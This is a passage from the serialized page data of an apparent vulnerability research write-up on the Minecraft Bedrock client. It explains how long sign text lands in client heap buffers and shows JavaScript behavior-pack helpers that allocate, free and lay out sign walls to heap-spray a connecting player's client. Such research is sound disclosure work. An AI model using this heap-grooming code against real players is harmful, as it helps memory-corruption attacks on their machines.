buf",{"type":23,"tag":213,"props":150118,"children":150119},{"style":220},[150120],{"type":28,"value":3821},{"type":23,"tag":213,"props":150122,"children":150123},{"style":514},[150124],{"type":28,"value":40903},{"type":23,"tag":213,"props":150126,"children":150127},{"style":220},[150128],{"type":28,"value":31630},{"type":23,"tag":213,"props":150130,"children":150131},{"class":215,"line":551},[150132],{"type":23,"tag":213,"props":150133,"children":150134},{"style":220},[150135],{"type":28,"value":39054},{"type":23,"tag":213,"props":150137,"children":150138},{"class":215,"line":570},[150139,150143],{"type":23,"tag":213,"props":150140,"children":150141},{"style":230},[150142],{"type":28,"value":16616},{"type":23,"tag":213,"props":150144,"children":150145},{"style":220},[150146],{"type":28,"value":124655},{"type":23,"tag":213,"props":150148,"children":150149},{"class":215,"line":655},[150150,150154],{"type":23,"tag":213,"props":150151,"children":150152},{"style":230},[150153],{"type":28,"value":16616},{"type":23,"tag":213,"props":150155,"children":150156},{"style":220},[150157],{"type":28,"value":150158}," capacity;\n",{"type":23,"tag":213,"props":150160,"children":150161},{"class":215,"line":1176},[150162],{"type":23,"tag":213,"props":150163,"children":150164},{"style":220},[150165],{"type":28,"value":16629},{"type":23,"tag":24,"props":150167,"children":150168},{},[150169,150171,150177,150179,150184],{"type":28,"value":150170},"We are primarily interested in the union: ",{"type":23,"tag":209,"props":150172,"children":150174},{"className":150173},[],[150175],{"type":28,"value":150176},"buf",{"type":28,"value":150178}," is used when the string fits within 16 bytes, while ",{"type":23,"tag":209,"props":150180,"children":150182},{"className":150181},[],[150183],{"type":28,"value":14024},{"type":28,"value":150185}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":23,"tag":24,"props":150187,"children":150188},{},[150189],{"type":28,"value":150190},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":23,"tag":24,"props":150192,"children":150193},{},[150194],{"type":28,"value":150195},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":23,"tag":18945,"props":150197,"children":150199},{"id":150198},"spraying-with-server-side-scripting",[150200],{"type":28,"value":150201},"Spraying With Server-Side Scripting",{"type":23,"tag":24,"props":150203,"children":150204},{},[150205],{"type":28,"value":150206},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":23,"tag":24,"props":150208,"children":150209},{},[150210,150212,150218,150219,150225],{"type":28,"value":150211},"We wrote ",{"type":23,"tag":209,"props":150213,"children":150215},{"className":150214},[],[150216],{"type":28,"value":150217},"alloc",{"type":28,"value":1466},{"type":23,"tag":209,"props":150220,"children":150222},{"className":150221},[],[150223],{"type":28,"value":150224},"free",{"type":28,"value":150226}," helpers that trigger an allocation in the client and free it on demand:",{"type":23,"tag":202,"props":150228,"children":150230},{"code":150229,"language":35673,"meta":7,"className":35671,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n for (let sign of signs) {\n if (sign.allocated || sign.removed) {\n continue;\n }\n\n sign.sign.setText(fill.repeat(size - 1));\n sign.allocated = true;\n return sign;\n }\n\n console.warn(\"No more allocs\");\n return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n if (sign == undefined || sign.allocated == false) {\n return;\n }\n\n sign.sign.setText(\"\");\n sign.allocated = false;\n\n sign.block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n sign.removed = true;\n}\n",[150231],{"type":23,"tag":209,"props":150232,"children":150233},{"__ignoreMap":7},[150234,150242,150284,150317,150362,150374,150381,150388,150449,150476,150491,150498,150505,150534,150549,150556,150563,150571,150595,150646,150657,150664,150671,150708,150735,150742,150771,150801,150808,150835],{"type":23,"tag":213,"props":150235,"children":150236},{"class":215,"line":216},[150237],{"type":23,"tag":213,"props":150238,"children":150239},{"style":537},[150240],{"type":28,"value":150241},"// Allocate sign text in the client\n",{"type":23,"tag":213,"props":150243,"children":150244},{"class":215,"line":226},[150245,150249,150254,150258,150262,150266,150271,150275,150280],{"type":23,"tag":213,"props":150246,"children":150247},{"style":230},[150248],{"type":28,"value":31433},{"type":23,"tag":213,"props":150250,"children":150251},{"style":257},[150252],{"type":28,"value":150253}," alloc",{"type":23,"tag":213,"props":150255,"children":150256},{"style":220},[150257],{"type":28,"value":265},{"type":23,"tag":213,"props":150259,"children":150260},{"style":268},[150261],{"type":28,"value":124313},{"type":23,"tag":213,"props":150263,"children":150264},{"style":220},[150265],{"type":28,"value":424},{"type":23,"tag":213,"props":150267,"children":150268},{"style":268},[150269],{"type":28,"value":150270},"fill",{"type":23,"tag":213,"props":150272,"children":150273},{"style":274},[150274],{"type":28,"value":3190},{"type":23,"tag":213,"props":150276,"children":150277},{"style":246},[150278],{"type":28,"value":150279},"\"A\"",{"type":23,"tag":213,"props":150281,"children":150282},{"style":220},[150283],{"type":28,"value":14870},{"type":23,"tag":213,"props":150285,"children":150286},{"class":215,"line":524},[150287,150291,150295,150299,150304,150308,150313],{"type":23,"tag":213,"props":150288,"children":150289},{"style":1362},[150290],{"type":28,"value":3131},{"type":23,"tag":213,"props":150292,"children":150293},{"style":220},[150294],{"type":28,"value":400},{"type":23,"tag":213,"props":150296,"children":150297},{"style":230},[150298],{"type":28,"value":11871},{"type":23,"tag":213,"props":150300,"children":150301},{"style":268},[150302],{"type":28,"value":150303}," sign",{"type":23,"tag":213,"props":150305,"children":150306},{"style":230},[150307],{"type":28,"value":10446},{"type":23,"tag":213,"props":150309,"children":150310},{"style":268},[150311],{"type":28,"value":150312}," signs",{"type":23,"tag":213,"props":150314,"children":150315},{"style":220},[150316],{"type":28,"value":14870},{"type":23,"tag":213,"props":150318,"children":150319},{"class":215,"line":533},[150320,150324,150328,150333,150337,150342,150346,150350,150354,150358],{"type":23,"tag":213,"props":150321,"children":150322},{"style":1362},[150323],{"type":28,"value":3369},{"type":23,"tag":213,"props":150325,"children":150326},{"style":220},[150327],{"type":28,"value":400},{"type":23,"tag":213,"props":150329,"children":150330},{"style":268},[150331],{"type":28,"value":150332},"sign",{"type":23,"tag":213,"props":150334,"children":150335},{"style":220},[150336],{"type":28,"value":124},{"type":23,"tag":213,"props":150338,"children":150339},{"style":268},[150340],{"type":28,"value":150341},"allocated",{"type":23,"tag":213,"props":150343,"children":150344},{"style":274},[150345],{"type":28,"value":23756},{"type":23,"tag":213,"props":150347,"children":150348},{"style":268},[150349],{"type":28,"value":150303},{"type":23,"tag":213,"props":150351,"children":150352},{"style":220},[150353],{"type":28,"value":124},{"type":23,"tag":213,"props":150355,"children":150356},{"style":268},[150357],{"type":28,"value":133017},{"type":23,"tag":213,"props":150359,"children":150360},{"style":220},[150361],{"type":28,"value":14870},{"type":23,"tag":213,"props":150363,"children":150364},{"class":215,"line":543},[150365,150370],{"type":23,"tag":213,"props":150366,"children":150367},{"style":1362},[150368],{"type":28,"value":150369}," continue",{"type":23,"tag":213,"props":150371,"children":150372},{"style":220},[150373],{"type":28,"value":313},{"type":23,"tag":213,"props":150375,"children":150376},{"class":215,"line":551},[150377],{"type":23,"tag":213,"props":150378,"children":150379},{"style":220},[150380],{"type":28,"value":3444},{"type":23,"tag":213,"props":150382,"children":150383},{"class":215,"line":570},[150384],{"type":23,"tag":213,"props":150385,"children":150386},{"emptyLinePlaceholder":18},[150387],{"type":28,"value":530},{"type":23,"tag":213,"props":150389,"children":150390},{"class":215,"line":655},[150391,150396,150400,150404,150408,150413,150417,150421,150425,150429,150433,150437,150441,150445],{"type":23,"tag":213,"props":150392,"children":150393},{"style":268},[150394],{"type":28,"value":150395}," sign",{"type":23,"tag":213,"props":150397,"children":150398},{"style":220},[150399],{"type":28,"value":124},{"type":23,"tag":213,"props":150401,"children":150402},{"style":268},[150403],{"type":28,"value":150332},{"type":23,"tag":213,"props":150405,"children":150406},{"style":220},[150407],{"type":28,"value":124},{"type":23,"tag":213,"props":150409,"children":150410},{"style":257},[150411],{"type":28,"value":150412},"setText",{"type":23,"tag":213,"props":150414,"children":150415},{"style":220},[150416],{"type":28,"value":265},{"type":23,"tag":213,"props":150418,"children":150419},{"style":268},[150420],{"type":28,"value":150270},{"type":23,"tag":213,"props":150422,"children":150423},{"style":220},[150424],{"type":28,"value":124},{"type":23,"tag":213,"props":150426,"children":150427},{"style":257},[150428],{"type":28,"value":133267},{"type":23,"tag":213,"props":150430,"children":150431},{"style":220},[150432],{"type":28,"value":265},{"type":23,"tag":213,"props":150434,"children":150435},{"style":268},[150436],{"type":28,"value":124313},{"type":23,"tag":213,"props":150438,"children":150439},{"style":274},[150440],{"type":28,"value":51308},{"type":23,"tag":213,"props":150442,"children":150443},{"style":514},[150444],{"type":28,"value":4618},{"type":23,"tag":213,"props":150446,"children":150447},{"style":220},[150448],{"type":28,"value":7313},{"type":23,"tag":213,"props":150450,"children":150451},{"class":215,"line":1176},[150452,150456,150460,150464,150468,150472],{"type":23,"tag":213,"props":150453,"children":150454},{"style":268},[150455],{"type":28,"value":150395},{"type":23,"tag":213,"props":150457,"children":150458},{"style":220},[150459],{"type":28,"value":124},{"type":23,"tag":213,"props":150461,"children":150462},{"style":268},[150463],{"type":28,"value":150341},{"type":23,"tag":213,"props":150465,"children":150466},{"style":274},[150467],{"type":28,"value":511},{"type":23,"tag":213,"props":150469,"children":150470},{"style":230},[150471],{"type":28,"value":12551},{"type":23,"tag":213,"props":150473,"children":150474},{"style":220},[150475],{"type":28,"value":313},{"type":23,"tag":213,"props":150477,"children":150478},{"class":215,"line":1202},[150479,150483,150487],{"type":23,"tag":213,"props":150480,"children":150481},{"style":1362},[150482],{"type":28,"value":2839},{"type":23,"tag":213,"props":150484,"children":150485},{"style":268},[150486],{"type":28,"value":150303},{"type":23,"tag":213,"props":150488,"children":150489},{"style":220},[150490],{"type":28,"value":313},{"type":23,"tag":213,"props":150492,"children":150493},{"class":215,"line":1758},[150494],{"type":23,"tag":213,"props":150495,"children":150496},{"style":220},[150497],{"type":28,"value":2875},{"type":23,"tag":213,"props":150499,"children":150500},{"class":215,"line":1767},[150501],{"type":23,"tag":213,"props":150502,"children":150503},{"emptyLinePlaceholder":18},[150504],{"type":28,"value":530},{"type":23,"tag":213,"props":150506,"children":150507},{"class":215,"line":1789},[150508,150512,150516,150521,150525,150530],{"type":23,"tag":213,"props":150509,"children":150510},{"style":268},[150511],{"type":28,"value":31495},{"type":23,"tag":213,"props":150513,"children":150514},{"style":220},[150515],{"type":28,"value":124},{"type":23,"tag":213,"props":150517,"children":150518},{"style":257},[150519],{"type":28,"value":150520},"warn",{"type":23,"tag":213,"props":150522,"children":150523},{"style":220},[150524],{"type":28,"value":265},{"type":23,"tag":213,"props":150526,"children":150527},{"style":246},[150528],{"type":28,"value":150529},"\"No more allocs\"",{"type":23,"tag":213,"props":150531,"children":150532},{"style":220},[150533],{"type":28,"value":2867},{"type":23,"tag":213,"props":150535,"children":150536},{"class":215,"line":1812},[150537,150541,150545],{"type":23,"tag":213,"props":150538,"children":150539},{"style":1362},[150540],{"type":28,"value":17040},{"type":23,"tag":213,"props":150542,"children":150543},{"style":230},[150544],{"type":28,"value":39395},{"type":23,"tag":213,"props":150546,"children":150547},{"style":220},[150548],{"type":28,"value":313},{"type":23,"tag":213,"props":150550,"children":150551},{"class":215,"line":1838},[150552],{"type":23,"tag":213,"props":150553,"children":150554},{"style":220},[150555],{"type":28,"value":1208},{"type":23,"tag":213,"props":150557,"children":150558},{"class":215,"line":1851},[150559],{"type":23,"tag":213,"props":150560,"children":150561},{"emptyLinePlaceholder":18},[150562],{"type":28,"value":530},{"type":23,"tag":213,"props":150564,"children":150565},{"class":215,"line":1864},[150566],{"type":23,"tag":213,"props":150567,"children":150568},{"style":537},[150569],{"type":28,"value":150570},"// Free an allocated sign in the client\n",{"type":23,"tag":213,"props":150572,"children":150573},{"class":215,"line":1890},[150574,150578,150583,150587,150591],{"type":23,"tag":213,"props":150575,"children":150576},{"style":230},[150577],{"type":28,"value":31433},{"type":23,"tag":213,"props":150579,"children":150580},{"style":257},[150581],{"type":28,"value":150582}," free",{"type":23,"tag":213,"props":150584,"children":150585},{"style":220},[150586],{"type":28,"value":265},{"type":23,"tag":213,"props":150588,"children":150589},{"style":268},[150590],{"type":28,"value":150332},{"type":23,"tag":213,"props":150592,"children":150593},{"style":220},[150594],{"type":28,"value":14870},{"type":23,"tag":213,"props":150596,"children":150597},{"class":215,"line":1899},[150598,150602,150606,150610,150614,150618,150622,150626,150630,150634,150638,150642],{"type":23,"tag":213,"props":150599,"children":150600},{"style":1362},[150601],{"type":28,"value":2653},{"type":23,"tag":213,"props":150603,"children":150604},{"style":220},[150605],{"type":28,"value":400},{"type":23,"tag":213,"props":150607,"children":150608},{"style":268},[150609],{"type":28,"value":150332},{"type":23,"tag":213,"props":150611,"children":150612},{"style":274},[150613],{"type":28,"value":3379},{"type":23,"tag":213,"props":150615,"children":150616},{"style":230},[150617],{"type":28,"value":39395},{"type":23,"tag":213,"props":150619,"children":150620},{"style":274},[150621],{"type":28,"value":23756},{"type":23,"tag":213,"props":150623,"children":150624},{"style":268},[150625],{"type":28,"value":150303},{"type":23,"tag":213,"props":150627,"children":150628},{"style":220},[150629],{"type":28,"value":124},{"type":23,"tag":213,"props":150631,"children":150632},{"style":268},[150633],{"type":28,"value":150341},{"type":23,"tag":213,"props":150635,"children":150636},{"style":274},[150637],{"type":28,"value":3379},{"type":23,"tag":213,"props":150639,"children":150640},{"style":230},[150641],{"type":28,"value":9143},{"type":23,"tag":213,"props":150643,"children":150644},{"style":220},[150645],{"type":28,"value":14870},{"type":23,"tag":213,"props":150647,"children":150648},{"class":215,"line":1912},[150649,150653],{"type":23,"tag":213,"props":150650,"children":150651},{"style":1362},[150652],{"type":28,"value":2839},{"type":23,"tag":213,"props":150654,"children":150655},{"style":220},[150656],{"type":28,"value":313},{"type":23,"tag":213,"props":150658,"children":150659},{"class":215,"line":1921},[150660],{"type":23,"tag":213,"props":150661,"children":150662},{"style":220},[150663],{"type":28,"value":2875},{"type":23,"tag":213,"props":150665,"children":150666},{"class":215,"line":3879},[150667],{"type":23,"tag":213,"props":150668,"children":150669},{"emptyLinePlaceholder":18},[150670],{"type":28,"value":530},{"type":23,"tag":213,"props":150672,"children":150673},{"class":215,"line":3887},[150674,150679,150683,150687,150691,150695,150699,150704],{"type":23,"tag":213,"props":150675,"children":150676},{"style":268},[150677],{"type":28,"value":150678}," sign",{"type":23,"tag":213,"props":150680,"children":150681},{"style":220},[150682],{"type":28,"value":124},{"type":23,"tag":213,"props":150684,"children":150685},{"style":268},[150686],{"type":28,"value":150332},{"type":23,"tag":213,"props":150688,"children":150689},{"style":220},[150690],{"type":28,"value":124},{"type":23,"tag":213,"props":150692,"children":150693},{"style":257},[150694],{"type":28,"value":150412},{"type":23,"tag":213,"props":150696,"children":150697},{"style":220},[150698],{"type":28,"value":265},{"type":23,"tag":213,"props":150700,"children":150701},{"style":246},[150702],{"type":28,"value":150703},"\"\"",{"type":23,"tag":213,"props":150705,"children":150706},{"style":220},[150707],{"type":28,"value":2867},{"type":23,"tag":213,"props":150709,"children":150710},{"class":215,"line":3918},[150711,150715,150719,150723,150727,150731],{"type":23,"tag":213,"props":150712,"children":150713},{"style":268},[150714],{"type":28,"value":150678},{"type":23,"tag":213,"props":150716,"children":150717},{"style":220},[150718],{"type":28,"value":124},{"type":23,"tag":213,"props":150720,"children":150721},{"style":268},[150722],{"type":28,"value":150341},{"type":23,"tag":213,"props":150724,"children":150725},{"style":274},[150726],{"type":28,"value":511},{"type":23,"tag":213,"props":150728,"children":150729},{"style":230},[150730],{"type":28,"value":9143},{"type":23,"tag":213,"props":150732,"children":150733},{"style":220},[150734],{"type":28,"value":313},{"type":23,"tag":213,"props":150736,"children":150737},{"class":215,"line":3926},[150738],{"type":23,"tag":213,"props":150739,"children":150740},{"emptyLinePlaceholder":18},[150741],{"type":28,"value":530},{"type":23,"tag":213,"props":150743,"children":150744},{"class":215,"line":3986},[150745,150749,150753,150758,150762,150767],{"type":23,"tag":213,"props":150746,"children":150747},{"style":268},[150748],{"type":28,"value":150678},{"type":23,"tag":213,"props":150750,"children":150751},{"style":220},[150752],{"type":28,"value":124},{"type":23,"tag":213,"props":150754,"children":150755},{"style":268},[150756],{"type":28,"value":150757},"block",{"type":23,"tag":213,"props":150759,"children":150760},{"style":220},[150761],{"type":28,"value":124},{"type":23,"tag":213,"props":150763,"children":150764},{"style":257},[150765],{"type":28,"value":150766},"setPermutation",{"type":23,"tag":213,"props":150768,"children":150769},{"style":220},[150770],{"type":28,"value":1511},{"type":23,"tag":213,"props":150772,"children":150773},{"class":215,"line":9132},[150774,150779,150783,150788,150792,150797],{"type":23,"tag":213,"props":150775,"children":150776},{"style":268},[150777],{"type":28,"value":150778}," BlockPermutation",{"type":23,"tag":213,"props":150780,"children":150781},{"style":220},[150782],{"type":28,"value":124},{"type":23,"tag":213,"props":150784,"children":150785},{"style":257},[150786],{"type":28,"value":150787},"resolve",{"type":23,"tag":213,"props":150789,"children":150790},{"style":220},[150791],{"type":28,"value":265},{"type":23,"tag":213,"props":150793,"children":150794},{"style":246},[150795],{"type":28,"value":150796},"\"minecraft:air\"",{"type":23,"tag":213,"props":150798,"children":150799},{"style":220},[150800],{"type":28,"value":2183},{"type":23,"tag":213,"props":150802,"children":150803},{"class":215,"line":9150},[150804],{"type":23,"tag":213,"props":150805,"children":150806},{"style":220},[150807],{"type":28,"value":43705},{"type":23,"tag":213,"props":150809,"children":150810},{"class":215,"line":9195},[150811,150815,150819,150823,150827,150831],{"type":23,"tag":213,"props":150812,"children":150813},{"style":268},[150814],{"type":28,"value":150678},{"type":23,"tag":213,"props":150816,"children":150817},{"style":220},[150818],{"type":28,"value":124},{"type":23,"tag":213,"props":150820,"children":150821},{"style":268},[150822],{"type":28,"value":133017},{"type":23,"tag":213,"props":150824,"children":150825},{"style":274},[150826],{"type":28,"value":511},{"type":23,"tag":213,"props":150828,"children":150829},{"style":230},[150830],{"type":28,"value":12551},{"type":23,"tag":213,"props":150832,"children":150833},{"style":220},[150834],{"type":28,"value":313},{"type":23,"tag":213,"props":150836,"children":150837},{"class":215,"line":9301},[150838],{"type":23,"tag":213,"props":150839,"children":150840},{"style":220},[150841],{"type":28,"value":1208},{"type":23,"tag":24,"props":150843,"children":150844},{},[150845,150847,150853],{"type":28,"value":150846},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":23,"tag":209,"props":150848,"children":150850},{"className":150849},[],[150851],{"type":28,"value":150852},"signs",{"type":28,"value":150854}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":23,"tag":202,"props":150856,"children":150858},{"code":150857,"language":35673,"meta":7,"className":35671,"style":7},"let signs;\n\nfunction create_wall() {\n signs = [];\n\n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n [...]\n \n const sign_block = world\n .getDimension(\"overworld\")\n .getBlock(sign_location);\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:wall_sign\", {\n facing_direction: 3\n }\n ));\n let sign_component = sign_block\n .getComponent(BlockComponentTypes.Sign);\n\n signs.push({\n sign: sign_component,\n allocated: false,\n block: sign_block,\n removed: false\n });\n }\n }\n}\n\nfunction remove_wall() {\n signs = [];\n \n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n \n [...]\n \n const sign_block = await wait_for_block(\n world.getDimension(\"overworld\"),\n sign_location\n );\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n\n [...]\n }\n }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n remove_wall();\n});\n",[150859],{"type":23,"tag":209,"props":150860,"children":150861},{"__ignoreMap":7},[150862,150877,150884,150900,150917,150924,150986,151048,151055,151071,151079,151101,151127,151152,151172,151201,151213,151220,151228,151250,151284,151291,151311,151327,151343,151359,151371,151379,151386,151393,151400,151407,151423,151438,151445,151504,151563,151570,151585,151593,151621,151649,151657,151664,151683,151710,151717,151724,151739,151746,151753,151760,151767,151823,151835,151842,151849,151910,151922],{"type":23,"tag":213,"props":150863,"children":150864},{"class":215,"line":216},[150865,150869,150873],{"type":23,"tag":213,"props":150866,"children":150867},{"style":230},[150868],{"type":28,"value":11871},{"type":23,"tag":213,"props":150870,"children":150871},{"style":268},[150872],{"type":28,"value":150312},{"type":23,"tag":213,"props":150874,"children":150875},{"style":220},[150876],{"type":28,"value":313},{"type":23,"tag":213,"props":150878,"children":150879},{"class":215,"line":226},[150880],{"type":23,"tag":213,"props":150881,"children":150882},{"emptyLinePlaceholder":18},[150883],{"type":28,"value":530},{"type":23,"tag":213,"props":150885,"children":150886},{"class":215,"line":524},[150887,150891,150896],{"type":23,"tag":213,"props":150888,"children":150889},{"style":230},[150890],{"type":28,"value":31433},{"type":23,"tag":213,"props":150892,"children":150893},{"style":257},[150894],{"type":28,"value":150895}," create_wall",{"type":23,"tag":213,"props":150897,"children":150898},{"style":220},[150899],{"type":28,"value":15791},{"type":23,"tag":213,"props":150901,"children":150902},{"class":215,"line":533},[150903,150908,150912],{"type":23,"tag":213,"props":150904,"children":150905},{"style":268},[150906],{"type":28,"value":150907}," signs",{"type":23,"tag":213,"props":150909,"children":150910},{"style":274},[150911],{"type":28,"value":511},{"type":23,"tag":213,"props":150913,"children":150914},{"style":220},[150915],{"type":28,"value":150916}," [];\n",{"type":23,"tag":213,"props":150918,"children":150919},{"class":215,"line":543},[150920],{"type":23,"tag":213,"props":150921,"children":150922},{"emptyLinePlaceholder":18},[150923],{"type":28,"value":530},{"type":23,"tag":213,"props":150925,"children":150926},{"class":215,"line":551},[150927,150931,150935,150939,150944,150948,150952,150956,150961,150965,150970,150974,150978,150982],{"type":23,"tag":213,"props":150928,"children":150929},{"style":1362},[150930],{"type":28,"value":3131},{"type":23,"tag":213,"props":150932,"children":150933},{"style":220},[150934],{"type":28,"value":400},{"type":23,"tag":213,"props":150936,"children":150937},{"style":230},[150938],{"type":28,"value":11871},{"type":23,"tag":213,"props":150940,"children":150941},{"style":268},[150942],{"type":28,"value":150943}," current_y",{"type":23,"tag":213,"props":150945,"children":150946},{"style":274},[150947],{"type":28,"value":511},{"type":23,"tag":213,"props":150949,"children":150950},{"style":514},[150951],{"type":28,"value":517},{"type":23,"tag":213,"props":150953,"children":150954},{"style":220},[150955],{"type":28,"value":17277},{"type":23,"tag":213,"props":150957,"children":150958},{"style":268},[150959],{"type":28,"value":150960},"current_y",{"type":23,"tag":213,"props":150962,"children":150963},{"style":274},[150964],{"type":28,"value":8804},{"type":23,"tag":213,"props":150966,"children":150967},{"style":268},[150968],{"type":28,"value":150969}," WALL_HEIGHT",{"type":23,"tag":213,"props":150971,"children":150972},{"style":220},[150973],{"type":28,"value":17277},{"type":23,"tag":213,"props":150975,"children":150976},{"style":268},[150977],{"type":28,"value":150960},{"type":23,"tag":213,"props":150979,"children":150980},{"style":274},[150981],{"type":28,"value":51322},{"type":23,"tag":213,"props":150983,"children":150984},{"style":220},[150985],{"type":28,"value":14870},{"type":23,"tag":213,"props":150987,"children":150988},{"class":215,"line":570},[150989,150993,150997,151001,151006,151010,151014,151018,151023,151027,151032,151036,151040,151044],{"type":23,"tag":213,"props":150990,"children":150991},{"style":1362},[150992],{"type":28,"value":60630},{"type":23,"tag":213,"props":150994,"children":150995},{"style":220},[150996],{"type":28,"value":400},{"type":23,"tag":213,"props":150998,"children":150999},{"style":230},[151000],{"type":28,"value":11871},{"type":23,"tag":213,"props":151002,"children":151003},{"style":268},[151004],{"type":28,"value":151005}," current_x",{"type":23,"tag":213,"props":151007,"children":151008},{"style":274},[151009],{"type":28,"value":511},{"type":23,"tag":213,"props":151011,"children":151012},{"style":514},[151013],{"type":28,"value":517},{"type":23,"tag":213,"props":151015,"children":151016},{"style":220},[151017],{"type":28,"value":17277},{"type":23,"tag":213,"props":151019,"children":151020},{"style":268},[151021],{"type":28,"value":151022},"current_x",{"type":23,"tag":213,"props":151024,"children":151025},{"style":274},[151026],{"type":28,"value":8804},{"type":23,"tag":213,"props":151028,"children":151029},{"style":268},[151030],{"type":28,"value":151031}," WALL_WIDTH",{"type":23,"tag":213,"props":151033,"children":151034},{"style":220},[151035],{"type":28,"value":17277},{"type":23,"tag":213,"props":151037,"children":151038},{"style":268},[151039],{"type":28,"value":151022},{"type":23,"tag":213,"props":151041,"children":151042},{"style":274},[151043],{"type":28,"value":51322},{"type":23,"tag":213,"props":151045,"children":151046},{"style":220},[151047],{"type":28,"value":14870},{"type":23,"tag":213,"props":151049,"children":151050},{"class":215,"line":655},[151051],{"type":23,"tag":213,"props":151052,"children":151053},{"emptyLinePlaceholder":18},[151054],{"type":28,"value":530},{"type":23,"tag":213,"props":151056,"children":151057},{"class":215,"line":1176},[151058,151063,151067],{"type":23,"tag":213,"props":151059,"children":151060},{"style":220},[151061],{"type":28,"value":151062}," [",{"type":23,"tag":213,"props":151064,"children":151065},{"style":274},[151066],{"type":28,"value":9675},{"type":23,"tag":213,"props":151068,"children":151069},{"style":220},[151070],{"type":28,"value":11856},{"type":23,"tag":213,"props":151072,"children":151073},{"class":215,"line":1202},[151074],{"type":23,"tag":213,"props":151075,"children":151076},{"style":220},[151077],{"type":28,"value":151078}," \n",{"type":23,"tag":213,"props":151080,"children":151081},{"class":215,"line":1758},[151082,151087,151092,151096],{"type":23,"tag":213,"props":151083,"children":151084},{"style":230},[151085],{"type":28,"value":151086}," const",{"type":23,"tag":213,"props":151088,"children":151089},{"style":268},[151090],{"type":28,"value":151091}," sign_block",{"type":23,"tag":213,"props":151093,"children":151094},{"style":274},[151095],{"type":28,"value":511},{"type":23,"tag":213,"props":151097,"children":151098},{"style":268},[151099],{"type":28,"value":151100}," world\n",{"type":23,"tag":213,"props":151102,"children":151103},{"class":215,"line":1767},[151104,151109,151114,151118,151123],{"type":23,"tag":213,"props":151105,"children":151106},{"style":220},[151107],{"type":28,"value":151108}," .",{"type":23,"tag":213,"props":151110,"children":151111},{"style":257},[151112],{"type":28,"value":151113},"getDimension",{"type":23,"tag":213,"props":151115,"children":151116},{"style":220},[151117],{"type":28,"value":265},{"type":23,"tag":213,"props":151119,"children":151120},{"style":246},[151121],{"type":28,"value":151122},"\"overworld\"",{"type":23,"tag":213,"props":151124,"children":151125},{"style":220},[151126],{"type":28,"value":2183},{"type":23,"tag":213,"props":151128,"children":151129},{"class":215,"line":1789},[151130,151134,151139,151143,151148],{"type":23,"tag":213,"props":151131,"children":151132},{"style":220},[151133],{"type":28,"value":151108},{"type":23,"tag":213,"props":151135,"children":151136},{"style":257},[151137],{"type":28,"value":151138},"getBlock",{"type":23,"tag":213,"props":151140,"children":151141},{"style":220},[151142],{"type":28,"value":265},{"type":23,"tag":213,"props":151144,"children":151145},{"style":268},[151146],{"type":28,"value":151147},"sign_location",{"type":23,"tag":213,"props":151149,"children":151150},{"style":220},[151151],{"type":28,"value":2867},{"type":23,"tag":213,"props":151153,"children":151154},{"class":215,"line":1812},[151155,151160,151164,151168],{"type":23,"tag":213,"props":151156,"children":151157},{"style":268},[151158],{"type":28,"value":151159}," sign_block",{"type":23,"tag":213,"props":151161,"children":151162},{"style":220},[151163],{"type":28,"value":124},{"type":23,"tag":213,"props":151165,"children":151166},{"style":257},[151167],{"type":28,"value":150766},{"type":23,"tag":213,"props":151169,"children":151170},{"style":220},[151171],{"type":28,"value":1511},{"type":23,"tag":213,"props":151173,"children":151174},{"class":215,"line":1838},[151175,151180,151184,151188,151192,151197],{"type":23,"tag":213,"props":151176,"children":151177},{"style":268},[151178],{"type":28,"value":151179}," BlockPermutation",{"type":23,"tag":213,"props":151181,"children":151182},{"style":220},[151183],{"type":28,"value":124},{"type":23,"tag":213,"props":151185,"children":151186},{"style":257},[151187],{"type":28,"value":150787},{"type":23,"tag":213,"props":151189,"children":151190},{"style":220},[151191],{"type":28,"value":265},{"type":23,"tag":213,"props":151193,"children":151194},{"style":246},[151195],{"type":28,"value":151196},"\"minecraft:wall_sign\"",{"type":23,"tag":213,"props":151198,"children":151199},{"style":220},[151200],{"type":28,"value":48934},{"type":23,"tag":213,"props":151202,"children":151203},{"class":215,"line":1851},[151204,151209],{"type":23,"tag":213,"props":151205,"children":151206},{"style":268},[151207],{"type":28,"value":151208}," facing_direction:",{"type":23,"tag":213,"props":151210,"children":151211},{"style":514},[151212],{"type":28,"value":19380},{"type":23,"tag":213,"props":151214,"children":151215},{"class":215,"line":1864},[151216],{"type":23,"tag":213,"props":151217,"children":151218},{"style":220},[151219],{"type":28,"value":71124},{"type":23,"tag":213,"props":151221,"children":151222},{"class":215,"line":1890},[151223],{"type":23,"tag":213,"props":151224,"children":151225},{"style":220},[151226],{"type":28,"value":151227}," ));\n",{"type":23,"tag":213,"props":151229,"children":151230},{"class":215,"line":1899},[151231,151236,151241,151245],{"type":23,"tag":213,"props":151232,"children":151233},{"style":230},[151234],{"type":28,"value":151235}," let",{"type":23,"tag":213,"props":151237,"children":151238},{"style":268},[151239],{"type":28,"value":151240}," sign_component",{"type":23,"tag":213,"props":151242,"children":151243},{"style":274},[151244],{"type":28,"value":511},{"type":23,"tag":213,"props":151246,"children":151247},{"style":268},[151248],{"type":28,"value":151249}," 